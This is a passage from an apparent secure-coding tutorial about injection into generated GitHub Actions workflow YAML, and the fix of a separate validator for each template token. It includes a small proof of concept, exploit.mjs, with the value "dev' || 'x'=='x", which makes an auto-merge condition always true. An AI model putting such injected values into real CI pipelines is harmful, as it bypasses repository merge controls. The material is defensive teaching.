&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  MERGE_CREDENTIAL: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;PROMOTE_PAT&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  MERGE_FLAG: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--merge&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; line &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rendered.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (line.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;includes&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;if:&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)) console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(line.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;trim&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run it with &lt;code&gt;node exploit.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;if: github.event.pull_request.head.ref == &apos;dev&apos; || &apos;x&apos;==&apos;x&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The quote closed the comparison, and &lt;code&gt;|| &apos;x&apos;==&apos;x&apos;&lt;/code&gt; made the whole expression unconditionally true. That workflow now enables auto-merge on &lt;strong&gt;any&lt;/strong&gt; pull request into &lt;code&gt;main&lt;/code&gt;. A newline in the same value is worse: it starts a new YAML key, which means new steps in a file that is committed and then executed.&lt;/p&gt;
&lt;p&gt;Notice what did not happen. Nothing crashed, and nothing looked malformed.&lt;/p&gt;
&lt;h2&gt;Valid YAML was never the question&lt;/h2&gt;
&lt;p&gt;The instinct at this point is to add a YAML parse check. It does not help, and it is worth proving to yourself before you rely on it. Save this as &lt;code&gt;check.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { parse } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;yaml&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { renderNaive } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./render-naive.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; template &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;promote.yml.tmpl&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rendered &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; renderNaive&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(template, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  DEV_BRANCH: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;dev&apos; || &apos;x&apos;==&apos;x&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  MAIN_BRANCH: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  MERGE_CREDENTIAL: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;PROMOTE_PAT&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  MERGE_FLAG: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--merge&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;parses as YAML:&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!!&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(rendered));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;if condition   :&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(rendered).jobs.automerge.if);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With &lt;code&gt;npm install yaml&lt;/code&gt; done first, &lt;code&gt;node check.mjs&lt;/code&gt; prints:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;parses as YAML: true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;if condition   : github.event.pull_request.head.ref == &apos;dev&apos; || &apos;x&apos;==&apos;x&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Perfectly valid YAML. Syntactic validity tells you the file will load; it says nothing about whether the value stayed inside the slot you put it in. Keep the parse check, because it catches a different bug class, but do not let it stand in for validation.&lt;/p&gt;
&lt;h2&gt;Give every token its own validator&lt;/h2&gt;
&lt;p&gt;The fix is not one escape function. The same renderer drops values into different grammars, and each grammar has a different set of characters that mean something:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DEV_BRANCH&lt;/code&gt; and &lt;code&gt;MAIN_BRANCH&lt;/code&gt; land inside single-quoted YAML scalars. Quotes and newlines are the escape characters.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MERGE_CREDENTIAL&lt;/code&gt; lands inside a &lt;code&gt;${{ secrets.X }}&lt;/code&gt; expression, so the only correct rule is &lt;a href=&quot;https://docs.github.com/en/actions/reference/security/secrets&quot;&gt;GitHub’s own&lt;/a&gt;: secret names “can only contain alphanumeric characters (&lt;code&gt;[a-z]&lt;/code&gt;, &lt;code&gt;[A-Z]&lt;/code&gt;, &lt;code&gt;[0-9]&lt;/code&gt;) or underscores (&lt;code&gt;_&lt;/code&gt;)” and must not start with a number.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MERGE_FLAG&lt;/code&gt; is derived by your code from a config enum, never copied from config text, so it should be checked against a closed set.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One global sanitizer would be wrong for at least three of those. Replace the renderer with &lt;code&gt;render.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; TOKEN_RE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /\{\{(\w+)\}\}/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// A branch name lands inside a single-quoted YAML scalar, so a quote closes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// the string early and a newline starts a new YAML key.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; UNSAFE_IN_QUOTED_SCALAR &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /[&apos;&quot;\r\n]/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// A credential name lands inside a ${{ secrets.X }} expression, so it has to&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// satisfy GitHub&apos;s own secret-naming rule and nothing looser.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; SAFE_SECRET_NAME &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /^[A-Za-z_][A-Za-z0-9_]*$/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Closed enum: the caller derives it, a config value never reaches it.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; MERGE_FLAGS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Set&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--merge&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--squash&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--rebase&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; VALIDATORS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Object.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;freeze&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  DEV_BRANCH&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (v) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;UNSAFE_IN_QUOTED_SCALAR.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(v),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  MAIN_BRANCH&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (v) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;UNSAFE_IN_QUOTED_SCALAR.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(v),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  MERGE_CREDENTIAL&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (v) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; SAFE_SECRET_NAME.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(v),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  MERGE_FLAG&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (v) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; MERGE_FLAGS.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;has&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(v),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; render&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(template, params) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; missing &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; unsafe &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; out &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; template.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(TOKEN_RE, (_, name) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // `name in params` is true for a key whose value is undefined, which is&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // how the string &quot;undefined&quot; ends up in a workflow that installs fine&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // and never fires.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; value &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; params[name];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (value &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; undefined &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; value &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      missing.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `{{${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}}}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; str &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(value);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; validate &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; VALIDATORS[name];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;validate) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      unsafe.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} (no validator declared)`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `{{${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}}}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;validate&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(str)) unsafe.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; str;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (missing.length) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`render: missing value for ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;missing&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;, &apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (unsafe.length) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`render: unsafe value for ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;unsafe&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;, &apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
